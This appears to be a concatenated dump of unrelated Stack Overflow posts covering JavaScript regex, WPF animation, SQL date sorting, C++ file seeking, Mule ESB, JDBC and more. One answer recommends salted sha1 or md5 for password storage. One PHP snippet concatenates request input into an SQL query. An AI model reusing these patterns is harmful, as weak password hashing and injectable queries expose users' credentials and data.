(outside of smaller solutions) which leaves you with LINQ to SQL or NHibernate. If you're only going to be working with SQL Server databases, LINQ to SQL is an interesting option. Otherwise, NHibernate is probably the best bet for serious work.</p> <p>(1) [ <a href="http://msdn.microsoft.com/en-us/data/cc765425.aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/data/cc765425.aspx</a> ] (2) [ <a href="http://www.devart.com/dotconnect/linq.html" rel="nofollow noreferrer">http://www.devart.com/dotconnect/linq.html</a> ]</p>
22084574	0	multi line js regular expression <pre><code>var Text = "start abc\ndef\nghi\njkl"; var regexAT = new RegExp("start([\s\S]*)", ''); var match = regexAT.exec(Text); alert(match[1]); </code></pre> <p>my limited js skills tell me that match[1] should contain:</p> <pre><code>abc\ndef\nghi\njkl </code></pre> <p>however match[1] is null, any tips?</p> <p><a href="http://jsfiddle.net/XE44B/" rel="nofollow">http://jsfiddle.net/XE44B/</a></p>
19501614	0	 <p>If you know the name of the menu inside drupal you can render it this way:</p> <p><strong>Example of page.tpl.php:</strong></p> <pre><code>&lt;div id="menu"&gt; &lt;?php if (isset($secondary_menu)) { ?&gt;&lt;?php print theme('links', $secondary_menu, array('class' =&gt; 'links', 'id' =&gt; 'subnavlist')); ?&gt;&lt;?php } ?&gt; &lt;?php if (isset($main_menu)) { ?&gt;&lt;?php print theme('links', $main_menu, array('class' =&gt; 'links', 'id' =&gt; 'navlist')) ?&gt;&lt;?php } ?&gt; &lt;/div&gt; </code></pre> <p>For more information on how to convert a drupal 6 theme to drupal 7 I would recommend going through this tutorial:</p> <p><a href="https://drupal.org/node/254940#menus" rel="nofollow">https://drupal.org/node/254940#menus</a></p>
9887031	0	 <p>O.K, I got my mistake!!! I've used the <code>@InjectMocks</code> but initialized the same variable in the init() method... So what happened was that mockito injected the mock objects to my variable - but seconds later I ran it over - initializing that very same variable!!!</p>
16608976	0	 <p>I use it this way:</p> <p>So it is not necessary to wait the specific time to end.</p> <pre><code>public void run(){ try { //do something try{Thread.sleep(3000);}catch(Exception e){} //do something }catch(Exception e){} } </code></pre>
19117076	0	Animate control with respecting parents/container <p>I have a control that I move with help of animation from the bottom to the final position. My problem is now that I want to change the behaviour of the animation, so that it respects the outer container (DarkGray).</p> <p>The orange Ractangle should only be visible on the white background and not on the darkgray Grid!</p> <p><strong>Code:</strong></p> <p>MainWindow.xaml:</p> <pre><code>&lt;Grid Background="DarkGray"&gt; &lt;Grid Margin="50" Background="White"&gt; &lt;Rectangle x:Name="objectToMove" VerticalAlignment="Bottom" Fill="Orange" Height="50" Width="50"/&gt; &lt;Button Height="20" Width="40" Margin="20" Content="Move" Click="Button_Click" VerticalAlignment="Top"/&gt; &lt;/Grid&gt; &lt;/Grid&gt; </code></pre> <p>MainWindow.xaml.cs:</p> <pre><code>private void Button_Click(object sender, RoutedEventArgs e) { var target = objectToMove; var heightOfControl = target.ActualHeight; var trans = new TranslateTransform(); target.RenderTransform = trans; var myAnimation = new DoubleAnimation(heightOfControl, 0, TimeSpan.FromMilliseconds(600)); trans.BeginAnimation(TranslateTransform.YProperty, myAnimation); } </code></pre> <p>Current:<br> <img src="https://i.stack.imgur.com/sNscV.png" alt="Snapshot of the running code snippets"></p> <p>Desired solution:<br> <img src="https://i.stack.imgur.com/69eVr.png" alt="Should be like this"></p>
1416068	0	 <p>when creating the hashed password you should use "double" salt</p> <p>Create a salt (random md5 or sha1) then use format something like sha1("--$password--$salt--") and then store hashed password and salt in database. </p> <p>Then, when authenticating you recreate the hash from --$pass--$salt-- string and compare it to the pass stored in db.</p>
21581178	0	How to add MFC application project to Win32 application project in Visual C++ 2008 <p>I've spent most of my day trying to figure out why this error is occurring but it continues to mystify me.</p> <p>I created a console application in Visual C++ and created one MFC application.Now, I want to add them into single project such way that when i compile the project ,it should open the console then will open Dialog box depending upon my commands......</p> <p>I've added afx headers files,set configuration settings.</p> <p>I want to know where to start whether starting point would in winmain() or int main()? Is there any examples.? Give me some links to know. the solution Thank you in advance.</p>
17777437	0	 <p>The sql <a href="http://www.w3schools.com/sql/sql_func_max.asp" rel="nofollow">max</a> function returns the largest value of the selected column, in your case since your data type is a <code>nvarchar</code> the <em>largest</em> value is what is alphabetically larger, which in this case is <code>7/2/2013</code> (since the "2" is greater then the "1" in "13").</p> <p>What you need to do is basically what <a href="http://stackoverflow.com/users/328193/david">@David</a> mentioned, either chance the data type of the column or if it isn't feasible then you can cast it in your query as a <code>datetime</code></p> <p>For example</p> <pre><code>select max(cast([P_Date] as datetime)) from [BalDB].[dbo].[tab_Product] </code></pre>
14319160	0	 <p>The image is 1200px wide. So on a 1900 resolution the image doesn't stretch and is smaller :). If you use background-size: 100%; It should stretch.</p> <p>As for mobile: <a href="http://stackoverflow.com/questions/8011085/keep-image-on-top-while-scrolling">This question is the same issue as you with solution.</a></p>
12324924	0	URLConnection.getInputStream: specifying byte range start but no end <p>My goal is to read only the bytes from a file on a remote server starting at a particular byte position in the file without unnecessary data transfer. My concern is that without specifying an end byte, the entire file from the start byte is put into a buffer before any reads occur. </p> <p>When one specifies a byte range in this fashion:</p> <pre><code>urlConn.setRequestProperty("Range","bytes="+byteRangeStart+"-") </code></pre> <p>and then subsequently obtains an InputStream, will that InputStream contain all the bytes of the file from byteRangeStart to the end of the file meaning that all the data is transferred when the InputStream is obtained or are bytes only transferred when the InputStream is read from?</p>
18323891	0	 <p>You just need to cast first, before attempting to call <code>execute</code>:</p> <pre><code>return ((Commands)type).execute(cmdParams); </code></pre> <p>The way you have it written, it's attempting to call <code>execute</code> on the un-casted type, and then to cast the result to <code>Commands</code>.</p>
22632670	0	 <p>You can try this XPath to get text node after <code>&lt;a&gt;</code> element :</p> <pre><code>nodeValue = hd.DocumentNode .SelectSingleNode("//div[@class='resum_card']/p/a/following-sibling::text()"); </code></pre> <p>Note: simply use single slash (<code>/</code>) instead of double (<code>//</code>) to select element that is direct child of current element. It is better performance wise.</p>
3714659	0	 <p>Try this (inside your for loop): </p> <p><strong>Updated:</strong> </p> <pre><code>var joiners; for ... { joiners += pings[i].joining_profiles[q].name + " "; var newText = RTRIM(joiners).split(" ").join(","); } </code></pre>
27127242	0	seekg, fail on large files <p>I have a very large (950GB) binary file in which I store 1billion of sequences of float points.</p> <p>A small example of the type of file I have with sequences of length 3 could be:</p> <pre><code>-3.456 -2.981 1.244 2.453 1.234 0.11 3.45 13.452 1.245 -0.234 -1.983 -2.453 </code></pre> <p>Now, I want to read a particular sequence (let's say the sequence with index=2, therefore the 3rd sequence in my file) so I use the following code:</p> <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;stdlib.h&gt; using namespace std; int main (int argc, char** argv){ if(argc &lt; 4){ cout &lt;&lt; "usage: " &lt;&lt; argv[0] &lt;&lt; " &lt;input_file&gt; &lt;length&gt; &lt;ts_index&gt;" &lt;&lt; endl; exit(EXIT_FAILURE); } ifstream in (argv[1], ios::binary); int length = atoi(argv[2]); int index = atoi(argv[3]); float* ts = new float [length]; in.clear(); **in.seekg(index*length*sizeof(float), in.beg);** if(in.bad()) cout &lt;&lt; "Errore\n"; **// for(int i=0; i&lt;index+1; i++){** in.read(reinterpret_cast&lt;char*&gt; (ts), sizeof(float)*length); **// }** for(int i=0; i&lt;length; i++){ cout &lt;&lt; ts[i] &lt;&lt; " "; } cout &lt;&lt; endl; in.close(); delete [] ts; return 0; } </code></pre> <p>The problem is that when I use seekg this read fails for some indexes and I get a wrong result. If I read the file in a sequential manner (without using seekg) and print out the wanted sequence instead, I always get the correct result.</p> <p>At the beginning I thought about an overflow in seekg (since the number of bytes can be very big), but I saw seekg takes in input a streamoff type which is huge (billions of billions).</p>
24469610	0	 <p>Not every MATLAB function can be converted to C code.</p> <p>For a list of supported function see <a href="http://www.mathworks.com/help/simulink/ug/functions-supported-for-code-generation--alphabetical-list.html" rel="nofollow">here</a>.</p> <p>If you wish to use MATLAB functions that are not on the list, you should write your own version in MATLAB (if possible, in your case I doubt it) or in C.</p>
11990232	0	 <p>As <a href="http://stackoverflow.com/users/1366455/tolgap">tolgap</a> pointed in his comment, the fact that you have something about "br" looks like your page is sending back a PHP error, with its HTML formatting (hence the BR) instead of the JSON string. You should try and fix that error first.</p>
5789787	0	 <p>Two simple options would be to either provide your user with some dictionary where they can register type mappings, or alternatively just provide them with a container interface that provides all of the services you think you're likely to require and allow users to supply their own wrapped containers. Apologies if these don't quite fit your scenario, I primarily use Unity, so I don't know if Ninject, etc. do fancy things Unity doesn't.</p>
35652416	0	 <p>To add new profile question you have to utilize admin panel. Just go to URL <strong>www.yoursitename.com/admin/users/profile-questions</strong></p> <p>On this page you will get options for add <strong>Sections</strong> and <strong>Profile questions</strong>. Fill up the form and save using submit button.</p> <p>Regarding your query, To add a question with answer as drop down or list, you need to add them with <strong>Answer type field as drop down</strong>.</p> <p>Once you create new question if your site supports multiple language then you have to put corresponding value in <strong>yoursite.com/admin/settings/languages</strong></p> <p>FYI: new questions are stored under base section.</p>
5375542	0	Jquery .post() return array <p>Sorry for the bad title, but I don't know how to name this. My problem is that whenever I pass a value from a select box I trigger this jquery event in order to check on the check boxes. Bassically I echo $res[]; at selecctedgr.php. Do I need to use json? and how can I do this?</p> <p>Mainpage:</p> <pre><code>$("#group_name").change(function(){ var groupname = $("#group_name").val(); var selectedGroup = 'gr_name='+ groupname; $.post("selectedgr.php", {data: selectedGroup}, function(data){ $.each(data, function(){ $("#" + this).attr("checked","checked"); }); },"json"); }); </code></pre> <p>PHP (selectedgr.php):</p> <pre><code>&lt;?php include_once '../include/lib.php'; $gr_name=mysql_real_escape_string($_POST['gr_name']); $sqlgr = "SELECT * FROM PRIVILLAGE WHERE MAINGR_ID=".$gr_name; $resultgr = sql($sqlgr); while($rowgr = mysql_fetch_array($resultgr)){ $res[] = $rowgr['ACT_ID']; } echo $res[]; ?&gt; </code></pre>
7640083	0	 <p>Possibly not the most relevant answer to your original question but since I got redirected to this page while looking for a way to control the formatting of DateTime properties in the serialisation someone else might find it useful.</p> <p>I found that by adding the following to your app.config/web.config instructs the .NET serialisation to format DateTime properties consistently:</p> <pre><code> &lt;system.xml.serialization&gt; &lt;dateTimeSerialization mode="Local" /&gt; &lt;/system.xml.serialization&gt; </code></pre> <p>Ref: <a href="http://msdn.microsoft.com/en-us/library/ms229751(v=VS.85).aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms229751(v=VS.85).aspx</a></p>
22202811	0	 <p>It really depends on how you store data, you want to delete. If you just want to hide deleted element from page, you can do that with javascript. eg.:</p> <pre><code>$(document).on("click", ".alert", function(e) { bootbox.confirm("?", function(result) { $(this).hide(200); // animated }); }); </code></pre> <p>If you store data you show in database, you should use ajax to request for example php that erase data from database.</p>
29527705	0	 <p>You need to save the information in parse. First off I would start by setting a variable for PFUser.currentUser(). So something like: </p> <pre><code>var UserInfo = PFUser.currentUser() </code></pre> <p>Then you need to save your info in the background. So right before your dismissViewController, user this:</p> <pre><code>UserInfo.saveInBackgroundWithBlock { (success:Bool, error:NSError!) -&gt; Void in } </code></pre>
32016580	0	 <p>In:</p> <pre><code>template &lt;typename T&gt; void Method1(T&amp;&amp; a); </code></pre> <p><code>T&amp;&amp;</code> is a <em>forwarding-reference</em>, rather than an <em>rvalue reference</em>.</p> <p>Now, the call:</p> <pre><code>classA.Method1(a); </code></pre> <p>deduces <code>T</code> to be <code>double&amp;</code>. The explicit instantiation you provide:</p> <pre><code>template void ClassA::Method1&lt;double&gt;(double&amp;&amp;); </code></pre> <p>is only for <em>rvalue</em> expressions. This is why it compiles and links when you turn <code>a</code> into an <em>xvalue</em> (a kind of an rvalue) with <code>std::move</code>.</p> <p>Try the following explicit instantiation:</p> <pre><code>template void ClassA::Method1&lt;double&amp;&gt;(double&amp;); </code></pre> <p>Still, you don't cover all possibilities a forwarding reference can take, so better move the implementation of <code>Method1</code> to a header file with the class definition.</p>
21602882	0	Error:Object [object Object] has no method 'msdropdown' <p>I am new to jQuery if somebody could tell me what i should do to get rid of this error?</p> <pre><code>$(document).ready(function () { debugger; $.ajax({ type: 'POST', url: rootUrl + 'SchedulingProfile/GetVisitTypes', contentType: "application/json; charset=utf-8", dataType: "json", success: function (data) { var markup = ''; for (var x = 0; x &lt; data.length; x++) { markup += "&lt;option value='" + data[x].Id + "' title='../images/trans.png' label='background-color:#" + data[x].VisitTypeColor + "'&gt;" + data[x].VisitTypeName + "&lt;/option&gt;"; } $('#ddlAnnualVisitType').html(markup).show(); try { oHandler = $(".mydds").msDropDown().data("dd"); //oHandler.visible(true); $("#ver").html($.msDropDown.version); } catch (e) { alert("Error: " + e.message); } } }); }); </code></pre> <p>Error:Object [object Object] has no method <code>'msdropdown'</code></p>
24673698	0	unexpected EOF while looking for matching `'' while using sed <p>Yes this question has been asked many times, and in the answer it is said to us <code>\</code> escape character before the single quote.</p> <p>In the below code it isn't working:</p> <pre><code>LIST="(96634,IV14075295,TR14075685')" LIST=`echo $LIST | sed 's/,/AAA/g' ` echo $LIST # Output: (96634AAAIV14075295AAATR14075685') # Now i want to quote the list elements LIST=`echo $LIST | sed 's/,/\',\'/g' ` # Giving error # exit 0 </code></pre> <p><strong>Error :</strong></p> <pre><code>line 7: unexpected EOF while looking for matching `'' line 8: syntax error: unexpected end of file </code></pre>
17863081	0	remove character columns from a numeric data frame <p>I have a data frame like the one you see here. </p> <pre><code> DRSi TP DOC DN date Turbidity Anions 158 5.9 3371 264 14/8/06 5.83 2246.02 217 4.7 2060 428 16/8/06 6.04 1632.29 181 10.6 1828 219 16/8/06 6.11 1005.00 397 5.3 1027 439 16/8/06 5.74 314.19 2204 81.2 11770 1827 15/8/06 9.64 2635.39 307 2.9 1954 589 15/8/06 6.12 2762.02 136 7.1 2712 157 14/8/06 5.83 2049.86 1502 15.3 4123 959 15/8/06 6.48 2648.12 1113 1.5 819 195 17/8/06 5.83 804.42 329 4.1 2264 434 16/8/06 6.19 2214.89 193 3.5 5691 251 17/8/06 5.64 1299.25 1152 3.5 2865 1075 15/8/06 5.66 2573.78 357 4.1 5664 509 16/8/06 6.06 1982.08 513 7.1 2485 586 15/8/06 6.24 2608.35 1645 6.5 4878 208 17/8/06 5.96 969.32 </code></pre> <p>Before I got here i used the following code to remove those columns that had no values at all or some NA's. </p> <pre><code> rem = NULL for(col.nr in 1:dim(E.3)[2]){ if(sum(is.na(E.3[, col.nr]) &gt; 0 | all(is.na(E.3[,col.nr])))){ rem = c(rem, col.nr) } } E.4 &lt;- E.3[, -rem] </code></pre> <p>Now I need to remove the "date" column but not based on its column name, rather based on the fact that it's a character string. </p> <p>I've seen here (<a href="http://stackoverflow.com/questions/6286313/remove-an-entire-column-from-a-data-frame-in-r">remove an entire column from a data.frame in R</a>) already how to simply set it to NULL and other options but I want to use a different argument. </p>
5497517	0	How do i repeat my table / RadListView x times? <p>I have made one html-table that contain a RadListView (with use of LayoutTemplate and ItemTemplate), and it works fine.</p> <p>It's a Property-table with two columns ("CadastralNummer", "CadastralSomething"). (The table has as many rows as the property has cadastrals)</p> <p>Now comes the tricky part for me!</p> <p>I now have a list of properties, instead of just one. How do repeat my table for every property below each other?</p> <p>If it can help, here's my code for one table:</p> <pre><code>&lt;table border="0" cellspacing="2" cellpadding="0" width="75%"&gt; &lt;thead&gt; &lt;tr&gt; &lt;td style="width: 25%;"&gt; CadastralNummer &lt;/td&gt; &lt;td style="width: 25%;"&gt; CadastralSomething &lt;/td&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;telerik:RadListView runat="server" ID="RadListViewProperty" AllowPaging="false" DataKeyNames="PropertyNR" OverrideDataSourceControlSorting="true" ItemPlaceholderID="ListViewContainer" OnItemDataBound="RadListViewProperty_ItemDataBound"&gt; &lt;LayoutTemplate&gt; &lt;asp:PlaceHolder runat="server" ID="listViewContainer" /&gt; &lt;/LayoutTemplate&gt; &lt;ItemTemplate&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td style="vertical-align: top;"&gt; &lt;asp:Label ID="lblCadastralNummer" runat="server" /&gt; &lt;/td&gt; &lt;td style="vertical-align: top;"&gt; &lt;asp:Label ID="lblCadastralSomething" runat="server" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/ItemTemplate&gt; &lt;/telerik:RadListView&gt; &lt;/table&gt; </code></pre>
3894291	0	 <p>The sign bit is the most significant bit on any two's-complement machine (like the x86), and thus will be in the last byte in a little-endian format</p> <p>Just cause i didn't want to be the one not including ASCII art... :)</p> <pre><code>+---------------------------------------+---------------------------------------+ | first byte | second byte | +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ ^--- lsb msb / sign bit -----^ </code></pre> <p>Bits are basically represented "backwards" from how most people think about them, which is why the high byte is last. But it's all consistent; "bit 15" comes after "bit 0" just as addresses ought to work, and is still the most significant bit of the most significant byte of the word. You don't have to do any bit twiddling, because the hardware talks in terms of bytes at all but the lowest levels -- so when you read a byte, it looks exactly like you'd expect. Just look at the most significant bit of your word (or the last byte of it, if you're reading a byte at a time), and there's your sign bit.</p> <p>Note, though, that two's complement doesn't exactly designate a particular bit as the "sign bit". That's just a very convenient side effect of how the numbers are represented. For 16-bit numbers, -x is equal to 65536-x rather than 32768+x (which would be the case if the upper bit were strictly the sign).</p>
28757540	0	 <p>Try this:</p> <pre><code>$.getScript("{{ STATIC_URL }}js/jquery.json.js").done(function( script, textStatus ) { $.getScript("{{ STATIC_URL }}js/jquery.inplaceeditform.js").done(function( script, textStatus ) { var options = {"getFieldUrl": "/inplaceeditform/get_field/", "saveURL": "/inplaceeditform/save/", "successText": "Successfully saved", "eventInplaceEdit": "click", "disableClick": true, "autoSave": true, "unsavedChanges": "You have unsaved changes!", "enableClass": "enable", "fieldTypes": "input, select, textarea", "focusWhenEditing": true}; var inplaceManager = $(".inplaceedit:not(.enable)").inplaceeditform(options); inplaceManager.enable(); }); }); </code></pre>
39443978	0	 <p>As I know, we can use Azure blob storage to store your files. Azure blob Storage containers provide three access level: Full public read access, Public read access for blobs only, no public read access. Refer to <a href="https://azure.microsoft.com/en-us/documentation/articles/storage-manage-access-to-resources/" rel="nofollow">this article</a> for more details. For your scenario, please save private files in “no public read access”, and save public file in “Public read access for blobs only”. So that the user cannot access your private files but can read your public files. If you want to share private files to others, please try SAS as LoekD mentioned. If you want to expired the SAS token in server side. Please try to use SAS policy to do it. Read <a href="https://azure.microsoft.com/en-us/documentation/articles/storage-dotnet-shared-access-signature-part-1/" rel="nofollow">this article</a> for more details. </p>
14522770	0	 <p>This is not really a programming question so it should be on superuser.</p> <p>Short answer -</p> <p>reboot the system.</p> <p>If the system comes back up, try:</p> <pre><code>find / -mtime -3 -size +100000 -exec ls -ls {} \; | sort -n </code></pre> <p>The largest newest files will be at the bottom of the list. If you can see that the file is not part of an app- a data file for example- remove it. You need at least 5% free space on /.</p> <p>Long term you must add more disk space, like double or triple what you have.</p>
14090987	0	 <pre><code>$dir = realpath(dirname(__FILE__)."/../"); </code></pre> <p>This would be the directory you are looking for. Require files relative to that.</p> <p>To output a different file look at <a href="http://php.net/manual/en/function.readfile.php" rel="nofollow">readfile</a> which outputs straight to the buffer or perhaps use <a href="http://php.net/manual/en/function.file-get-contents.php" rel="nofollow">file_get_contents</a> which can be held in a variable.</p>
19645176	0	Mule: apply filters and transformers according to HTTP method with REST router (and error handling) <p>I am struggling a little to satisfy my use-case with the Mule REST module. I'd like to have different transformations according to templateUri and HTTP method.</p> <p>Here is my configuration:</p> <pre><code> &lt;flow name="http-interface"&gt; &lt;http:inbound-endpoint address="http://localhost:8555" exchange-pattern="request-response"/&gt; &lt;rest:router templateUri="/schedule"&gt; &lt;rest:post&gt; &lt;mxml:schema-validation-filter schemaLocations="xsd/scheduler.xsd" returnResult="true"/&gt; &lt;mxml:jaxb-xml-to-object-transformer jaxbContext-ref="jaxb-context"/&gt; &lt;vm:outbound-endpoint path="addjob"/&gt; &lt;/rest:post&gt; &lt;/rest:router&gt; &lt;choice-exception-strategy&gt; &lt;catch-exception-strategy when="exception.causedBy(org.mule.api.routing.filter.FilterUnacceptedException)"&gt; &lt;logger level="ERROR" message="FilterUnacceptedException #[message]"/&gt; &lt;set-payload value="An error occurred while validating request. Please check the XML payload"/&gt; &lt;set-property propertyName="http.status" value="400"/&gt; &lt;/catch-exception-strategy&gt; &lt;catch-exception-strategy when="exception.causedBy(java.lang.NullPointerException)"&gt; &lt;logger level="ERROR" message="NullPointerException #[message]"/&gt; &lt;set-payload value="An error occurred while validating request. Please check the XML payload"/&gt; &lt;set-property propertyName="http.status" value="400"/&gt; &lt;/catch-exception-strategy&gt; &lt;/choice-exception-strategy&gt; &lt;/flow&gt; </code></pre> <p>When invalid XML is posted to the endpoint, I am getting a NullPointerException in NestedProcessorChain.processWithExtraProperties. Hence the nasty catch for this exception (not ideal).</p> <p>My IDE gives schema validation errors both for rest:router in flow and the mxml filter/transformer in the rest:post element. I can remove the first by putting rest:router inside the inbound-endpoint. Results are the same, and most examples don't have this</p> <p>I tried moving the filter/transformation to a separate flow on a VM endpoint. Validation is clean, but then I can't figure out how to get the HTTP error code and response back to the client.</p> <p>Any help much appreciated, Alfie.</p>
32444602	0	 <p>You have used <code>/if</code> which sounds plausible, but actually it needs to be <code>/id</code> for a dump file:</p> <pre><code>symchk /os /id "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" /su "SRV*e:\debug\symbols*http://msdl.microsoft.com/download/symbols" SYMCHK: FAILED files = 0 SYMCHK: PASSED + IGNORED files = 1 </code></pre> <p>The output is the same, but the symbol folder contains the PDBs now.</p> <hr> <p>It is similar in WinDbg:</p> <ul> <li>choose <code>File | Open Crash Dump ...</code> or press <kbd>Ctrl</kbd>+<kbd>D</kbd></li> <li>for the file name filter, instead of <code>Crash Dump Files</code> select <code>All files</code></li> <li><p>choose the DLL or EXE of your interest. WinDbg will e.g. say</p> <pre><code>Loading Dump File [C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll] </code></pre> <p>although it is not really a dump file</p></li> <li>issue the typical commands <code>.symfix</code> and <code>.reload</code>. If symbols are present on the symbol server, they will be downloaded.</li> </ul> <p>Looking at what you're "debugging", you'll see that it's the DLL:</p> <pre><code>0:000&gt; | . 0 id: f0f0f0f0 examine name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll 0:000&gt; || . 0 Image file: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll 0:000&gt; lm start end module name 00000001`80000000 00000001`80988000 clr (pdb symbols) e:\debug\symbols\clr.pdb\5706A2AA257A45FDAC5776EDDC7BBA542\clr.pdb </code></pre> <p>And also some other commands work:</p> <pre><code>0:000&gt; x clr!* 00000001`80123e28 clr!SafeHandle::Init (&lt;no parameter info&gt;) 00000001`808f5e80 clr!HillClimbingLogSize = &lt;no type information&gt; 00000001`80064af0 clr!IsTimerSpecialThread (&lt;no parameter info&gt;) ... 0:000&gt; u clr!SafeHandle::Init clr!SafeHandle::Init: 00000001`80123e28 4883ec28 sub rsp,28h 00000001`80123e2c 488b059d4b7c00 mov rax,qword ptr [clr!g_Mscorlib+0x10 (00000001`808e89d0)] 00000001`80123e33 488b80e0070000 mov rax,qword ptr [rax+7E0h] 00000001`80123e3a 4885c0 test rax,rax ... </code></pre>
16953360	0	 <p>Or you can try <strong>CGI.unescapeHTML</strong> method.</p> <pre><code>CGI.unescapeHTML "&amp;lt;p&amp;gt;This is a Paragraph.&amp;lt;/p&amp;gt;" =&gt; "&lt;p&gt;This is a Paragraph.&lt;/p&gt;" </code></pre>
26244873	0	 <p><strong>Your question:</strong> Why would this happen?</p> <p><strong>A:</strong> Because <code>.divError</code> is in a stacking context and the root of that stacking context has a <code>z-index</code> (<em>calculated</em> or <em>explicitly declared</em>) lower than the root of the stacking context of the rest of the content that is 'over' <code>.divError</code>.</p> <p>If you want to know how to 'solve' this, the DOM tree leading to and surrounding the <code>updPanelContent</code> and positioning and z-index applied to those elements is needed.</p>
41020685	0	No-except without passing argument <p>Can you say how can I assertion, is function noexcept(without passing arguments)? Thanks.</p>
12706388	0	 <p>Just add position: relative; to each of the styles, as stated here: <a href="http://www.w3schools.com/cssref/pr_pos_z-index.asp" rel="nofollow">http://www.w3schools.com/cssref/pr_pos_z-index.asp</a></p> <p>(They can both have relative positioning)</p>
4367468	0	 <p>haven't use a no-xml configuration yet, but with the config file it would look like:</p> <pre><code>&lt;MsmqTransportConfig InputQueue="WorkerQueueForCurrentService" ErrorQueue="ErrorQueue" NumberOfWorkerThreads="1" MaxRetries="5"/&gt; &lt;UnicastBusConfig&gt; &lt;MessageEndpointMappings&gt; &lt;add Messages="AssemblyName1" Endpoint="PublisherQueue1" /&gt; &lt;add Messages="AssemblyName2.Message1, AssemblyName2" Endpoint="PublisherQueue2" /&gt; &lt;add Messages="AssemblyName2.Message3, AssemblyName2" Endpoint="PublisherQueue2" /&gt; &lt;/MessageEndpointMappings&gt; &lt;/UnicastBusConfig&gt; </code></pre> <p>so your worker queue for the current service is "WorkerQueueForCurrentService" and it subscribes to different messages that are published on the queues "PublisherQueue1" and "PublisherQueue2". i have included a sample for the subscription of a whole messageassembly (see add messages line 1) and for specific messages in a given messageassembly (see add messages line 2 and line 3).</p> <p>Kristian kristensens answer is not correct. the input queue is relevant for every service that uses nservicebus. regardless of whether it's an publisher or an subscriber. a publisher receives subscription notices on the input queue and the subscriber sets the input queue as the destination queue for a subscription notice that is sent to the publisher.</p> <p>if you want to programmatically subscribe to messages like mrnye says you would need a messageendpointmapping. so if you do bus.subscribe nservicebus looks into his messageendpointmappings and tries to extract the publisher queue name where this message gets published.</p> <p>messageendpointmappings are used for both:<br> - the lookup of which messages gets published where<br> and<br> - the destination queue where messages are sent which you bus.send()</p> <p>hope this clears some things up :-)</p>
40648515	0	ERM: Key attribute for relation <p>My question is the following: Can relations have key attributes like shown in the following figure? <a href="https://i.stack.imgur.com/il3tg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/il3tg.png" alt=""></a></p> <p>For me it doesn't make sense, however I have found them like in <a href="https://i.stack.imgur.com/il3tg.png" rel="nofollow noreferrer">1</a>. If it is possilbe, how should I "resolve" them in the relational schema?</p> <p>I found a similar the question on [2] but it seems to focus on how to handle attributes during the transformation of the ERM to the relational schema.</p> <p><a href="https://i.stack.imgur.com/il3tg.png" rel="nofollow noreferrer">1</a> <a href="https://www.wu.ac.at/fileadmin/wu/_processed_/csm_erm_cardinalities2_84a65dbc2b.png" rel="nofollow noreferrer">https://www.wu.ac.at/fileadmin/wu/<em>processed</em>/csm_erm_cardinalities2_84a65dbc2b.png</a></p> <p>[2] <a href="http://stackoverflow.com/questions/9700196/relationship-attributes-in-er-diagrams">relationship attributes in ER diagrams</a></p>
27922197	0	 <p>I have a feeling there is an easier way but meanwhile, assuming you want to the count of <code>2</code> for <code>Rejected</code> to be of <code>System</code>s <code>S102</code> and <code>S103</code> and assuming Status is in <code>C1</code> and no blank row: </p> <p>Add a helper column (say D, labelled say <code>SR</code>) with: </p> <pre><code>=A2&amp;B2 </code></pre> <p>copied down to suit. Create a PivotTable from all four columns, with <code>System</code> for ROWS, Max of <code>Revision</code> for Sigma VALUES. Assuming the PT is in F:G starting Row1, add: </p> <pre><code> =INDEX(C:C,MATCH(F2&amp;G2,D:D,0)) </code></pre> <p>in H2 and copy down to suit. In I2: </p> <pre><code>=COUNTIF(H:H,H2) </code></pre> <p>in I3: </p> <pre><code>=COUNTIF(H:H,H3) </code></pre> <p>or change H2 and H3 in the formulae to "Accepted" and "Rejected".</p>
13278830	0	Valid SQL using temp tables returning no result set <p>I've been searching google and stack overflow for the past several hours, and can't seem to find an exact match on this issue. I'm relatively new to java, so please correct me if I'm just doing something incredibly silly!</p> <p>Issue: When executing a try-with-resource query (statement.executeQuery(stmt)) I am getting a 'Statement did not return a result set'</p> <p>I can guarantee this is valid SQL, and when run through SSMS the query works - and when using the select...into...from style syntax, this query works as well [in java]. The select...into...from is not a viable option though as it creates performance issues (23 second query turns into a 5+ minute query due to resource utilization)</p> <p>Proof of concept: SQL file: c:\test.sql</p> <pre><code>set nocount on create table #test (loannum int) insert into #test (loannum) select 1 select * from #test drop table #test </code></pre> <p>This query is used to make a cached result set so that I can pass the data around other functions without leaving an open connection to the database...</p> <p><strong>Note: SQLInfo in the below is just "C:\test.sql"</strong> &lt; snip></p> <pre><code>try(BufferedReader in = new BufferedReader(new FileReader(SQLInfo))) { String str; StringBuffer sb = new StringBuffer(); while((str = in.readLine()) != null) { sb.append(str + System.getProperty("line.separator")); } _stmt = sb.toString(); } </code></pre> <p>&lt; /snip></p> <p>which is later used in the below... &lt; snip></p> <pre><code>try (Connection connection = DriverManager.getConnection(CONNECTION); Statement statement = connection.createStatement(); ResultSet resultset = statement.executeQuery(_stmt) ) { crs.populate(resultset); return crs; } catch (SQLException e) { e.printStackTrace(); } return crs; </code></pre> <p>&lt; /snip></p> <p>What I'm expecting, is a cached result set that will be used in a defaulttablemodel to display a "loannum" field, and value of 1 -- what I really get is the following error: "com.microsoft.sqlserver.jdbc.SQLServerException: The statement did not return a result set..."</p> <p>If I modify the SQL to the following:</p> <pre><code>set nocount on select 1 as loannum into #test select * from #test drop table #test </code></pre> <p>I get the expected return result of "loannum" with value of 1.</p> <p>It appears to have something to do with the create table statement in the executeQuery method, but it's a temporary table! Is there any way to make the above to work with the create table (value type, value type, value type) insert into... method?</p> <p>**Note: I've attempted to use the .execute(String) method, and parse through the return results. It appears to have the same issue, but it's entirely possible I'm implementing it incorrectly.</p> <p>**Secondary note: The defaulttablemodel works fine, and returns information to a 